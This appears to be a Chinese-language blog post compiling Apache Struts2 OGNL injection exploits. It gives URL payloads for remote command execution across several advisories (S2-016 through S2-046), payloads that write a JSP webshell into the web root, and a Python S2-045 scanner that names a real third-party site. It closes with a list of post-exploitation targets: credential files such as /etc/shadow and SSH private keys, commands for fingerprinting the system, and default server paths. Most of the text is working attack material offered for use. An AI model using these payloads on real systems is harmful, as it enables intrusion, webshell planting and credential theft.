http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(h)(('\43webRootzpro\75@java.lang.Runtime@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43webRootzproreader\75new\40java.io.DataInputStream(\43webRootzpro.getInputStream())')(d))&(i01)(('\43webStr\75new\40byte[100]')(d))&(i1)(('\43webRootzproreader.readFully(\43webStr)')(d))&(i111)('\43webStr12\75new\40java.lang.String(\43webStr)')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43webStr12)')(d))&(i99)(('\43xman.getWriter().close()')(d))&cmd=cmd%20/c%20ipconfig

poc2

1
http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[100],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))%2b'&cmd=cmd%20/c%20ipconfig

poc3

1
http://127.0.0.1/freecms/login_login.do?user.loginname=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))&z[(user.loginname)('meh')]=true&cmd=cmd%20/c%20set

poc4

1
http://127.0.0.1/Struts2/test.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23a=%40java.lang.Runtime%40getRuntime().exec(%23req.getParameter(%22cmd%22)).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5b50000%5d,%23c.read(%23d),%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%23d),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]&cmd=cmd%20/c%20netstat%20-an

poc5

1
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result),%23response.close()}&cmd=cmd%20/c%20set

poc6

1
http://localhost/struts2-blank/example/HelloWorld.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'netstat','-an'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

其实在Java里面要去执行一个命令的方式都是一样的,简单的静态调用方式

1
java.lang.Runtime.getRuntime().exec("net user selina 123 /add");

就可以执行任意命令了。Exec执行后返回的类型是java.lang.Process。Process是一个抽象类,final class ProcessImpl extends Process也是Process的具体实现。而命令执行后返回的Process可以通过

1
2
public OutputStream getOutputStream()
public InputStream getInputStream()

直接输入输出流,拿到InputStream之后直接读取就能够获取到命令执行的结果了。而在Ognl里面不能够用正常的方式去读取流,而多是用DataInputStream的readFully或BufferedReader的read方法全部读取或者按byte读取的。因为可能会读取到半个中文字符,所以可能会存在乱码问题,自定义每次要读取的大小就可以了。POC当中的/c 不是必须的,执行dir之类的命令可以加上。

1
Process java.lang.Runtime.exec(String command) throws IOException

#####GetShell
poc1:

1
http://127.0.0.1/Struts2/test.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i12)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i13)(('\43xman.getWriter().println(\43req.getServletContext().getRealPath(%22\u005c%22))')(d))&(i2)(('\43fos\75new\40java.io.FileOutputStream(new\40java.lang.StringBuilder(\43req.getRealPath(%22\u005c%22)).append(@java.io.File@separator).append(%22css3.jsp%22).toString())')(d))&(i3)(('\43fos.write(\43req.getParameter(%22p%22).getBytes())')(d))&(i4)(('\43fos.close()')(d))&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

poc2(类型转换漏洞需要把POC加在整型参数上):

1
http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close())%2b'%20&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

poc3(需要注意这里也必须是加载一个String(字符串类型)的参数后面,使用的时候把URL里面的两个foo替换成目标参数(注意POC里面还有个foo)):

1
http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%23req=@org.apache.struts2.ServletActionContext@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close())(meh%29&z[%28foo%29%28%27meh%27%29]=true&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

poc4:

1
http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close()(aa)&x[(class.classLoader.jarPath)('aa')]&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

poc5:

1
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close()}&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

poc6:

1
http://localhost/Struts2/test.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

比如POC4当中首先就是把allowStaticMethodAccess改为trute即允许静态方法访问。然后再获取请求对象,从请求对象中获取网站项目的根路径,然后在根目录下新建一个css3.jsp,而css3.jsp的内容同样来自于客户端的请求。POC4中的p就是传入的参数,只要获取p就能获取到内容完成文件的写入了。之前已经说过Java不是动态的脚本语言,所以没有eval。不能像PHP那样直接用eval去动态执行,所以Java里面没有真正意义上的一句话木马。菜刀只是提供了一些常用的一句话的功能的具体的实现,所以菜刀的代码会很长,因为这些代码在有eval的情况下是可以通过发送请求的形式去构造的,在这里就必须把代码给上传到服务器去编译成执行。

S2-046

1
2
3
4
5
6
7
8
9
10
11
12
POST /doUpload.action HTTP/1.1
Host: localhost:8080
Content-Length: 10000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Connection: close
------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain
Kaboom
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

S2-045

(2017.3)(Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc(url):
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(url,datagen,headers=header)
response = urllib2.urlopen(request)
body=response.read()
return body
url="http://job.10086.cn/company/anouncement/showAnouncement.action"
url=sys.argv[1]
body=poc(url)
if "nMask" in body:
print "[Loopholes exist]",url

S2-037

1
2
http://127.0.0.1:8080/struts2-rest-showcase/orders/3/(%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3f@java.lang.Runtime@getRuntime().exec(%23parameters.cmd):index.xhtml?cmd=calc
http://127.0.0.1:8080/struts2-rest- showcase/orders/3/(%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3F((%23writ%3D(%23attr%5B%23parameters.com%5B0%5D%5D).getWriter())%2C%23writ.println(3345*2356))%3Aindex.xhtml?com=com.opensymphony.xwork2.dispatcher.HttpServletResponse

S2-032

1
?method:%23_memberAccess%3d%40ognl.OgnlContext%20%40DEFAULT_MEMBER_ACCESS%2c%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%23parameters.command%20%5B0%5D%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5B51020%5D%2c%23c.read%28%23d%29%2c%23kxlzx%3d%20%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23kxlzx.println%28%23d%20%29%2c%23kxlzx.close&command=whoami

获取磁盘目录

1
method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8

执行命令

1
method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=whoami&pp=\\A&ppp=%20&encoding=UTF-8
1
method:%23_memberAccess[%23parameters.name1[0]]%3dtrue,%23_memberAccess[%23parameters.name[0]]%3dtrue,%23_memberAccess[%23parameters.name2[0]]%3d{},%23_memberAccess[%23parameters.name3[0]]%3d{},%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew%20java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&name=allowStaticMethodAccess&name1=allowPrivateAccess&name2=excludedPackageNamePatterns&name3=excludedClasses&cmd=whoami&pp=\\A&ppp=%20&encoding=UTF-8

上传文件

1
method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23path%2b%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23path),%23w.close(),1?%23xx:%23request.toString&shellname=stest.jsp&shellContent=tttt&encoding=UTF-8&pp=%2f

s2-016

1
redirect:${%23res%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),%23res.setCharacterEncoding(%22UTF-8%22),%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22whoami%22})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[20000],%23d.read(%23e),%23res.getWriter().println(%23e),%23res.getWriter().flush(),%23res.getWriter().close()}

s2-019

1
debug=command&expression=%23res%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),%23res.setCharacterEncoding(%22UTF-8%22),%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22whoami%22})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[20000],%23d.read(%23e),%23res.getWriter().println(%23e),%23res.getWriter().flush(),%23res.getWriter().close()

本文POC均来自网络收集

任意文件读取漏洞的利用

任意文件读取的利用思路

有些文件需要高权限才能读取

  1. /etc/passwd # 用户情况
  2. /etc/shadow # 直接 John the Ripper
  3. /etc/hosts # 主机信息
  4. /root/.bashrc # 环境变量
  5. /root/.bash_history # 还有root外的其他用户
  6. /root/.viminfo # vim 信息
  7. /root/.ssh/id_rsa # 拿私钥直接ssh
  8. /proc/xxxx/cmdline # 进程状态枚举 xxxx 可以为0000-9999 使用burpsuite
  9. 数据库 config 文件
  10. web 日志 access.log, error.log
  11. ssh 日志
  12. /var/lib/php/sess_PHPSESSID # 非常规问题 session 文件( 参考 平安科技的一道session包含 http://www.jianshu.com/p/2c24ea34566b)

进一步推断系统版本

1
2
3
4
5
6
7
8
9
uname -a
lsb_release -d
cat /etc/issue
cat /proc/version
cat /etc/redhat-release
cat /etc/debian_version
cat /etc/slackware_version
ls /etc/*version
cat /proc/cpuinfo

无痕反弹shell

1
kill -9 $$

常用默认路径整理

可以开虚拟机看看默认路径是什么

ssh

1
2
3
4
5
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure

Nginx

1
2
3
4
5
6
7
8
/etc/nginx/nginx.conf
/var/www/html
/usr/local/services/nginx-1.6.2/logs/access.log
/usr/local/services/nginx-1.6.2/logs/error.log
/usr/local/services/nginx-1.6.2/nginx.conf
/usr/local/services/nginx-1.6.2/conf/nginx.conf
/usr/local/services/nginx-1.6.2/conf/proxy.conf
/usr/local/services/nginx-1.6.2/conf/extra/haolaiyao.conf

Apache

1
2
/home/httpd/
/home/httpd/www/

jetty

1
2
3
/usr/local/services/jetty-8.1.16/
/usr/local/services/jetty-8.1.16/logs/stderrout.log
/usr/local/services/jetty-8.1.16/etc/jetty.xml

resin

1
2
3
/usr/local/services/resin-4.0.44/
/usr/local/services/resin-4.0.44/conf/resin.xml
/usr/local/services/resin-4.0.44/conf/resin.properties

tomcat

1
2
/usr/local/services/apache-tomcat-8.0.23/logs
/usr/local/services/apache-tomcat-8.0.23/logs/catalina.out

svn

1
/home/svnroot/